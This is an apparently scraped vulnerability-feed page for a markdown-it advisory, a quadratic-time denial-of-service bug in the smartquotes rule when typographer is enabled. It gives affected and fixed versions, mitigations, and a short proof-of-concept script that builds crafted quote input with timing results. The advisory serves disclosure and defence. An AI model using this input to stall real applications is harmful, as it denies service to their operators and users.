Live › vulnerability › CVE-2026-111759
Go to dashboardmarkdown-it is a JavaScript Markdown parser; with typographer enabled, crafted input with many unmatched quote characters makes the smartquotes rule run in quadratic time. An attacker who can submit Markdown to an application gets a denial of service by tying up CPU during rendering.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| markdown-it | npm | >= 15.0.0, < 15.0.2 | 15.0.2 |
| markdown-it | npm | < 14.3.2 | 14.3.2 |
npm ls markdown-it to find the installed version and check whether typographer: true is set where markdown-it is constructedtypographer: true or typographer:true15.0.2 (for the 15.x line) or 14.3.2 (for the 14.x line)smartquotes)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.
Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.
The default configuration (typographer: false) is not affected, but this option is enabled with high probability.
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const md = new MarkdownIt({ typographer: true })
for (const k of [2000, 4000, 8000, 16000, 32000]) {
const input = '"a '.repeat(k) + "b' ".repeat(k)
const start = performance.now()
md.render(input)
console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}
Result:
| input size | time |
|---|---|
| 12000 | 18ms |
| 24000 | 47ms |
| 48000 | 115ms |
| 96000 | 428ms |
| 192000 | 1586ms |
Fixed in 15.0.2 and 14.3.2.
Disable typography with typographer: false, or disable only the smartquotes rule:
md.disable('smartquotes')
This page as .md · .json · in your agent: get_signal("CVE-2026-111759")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.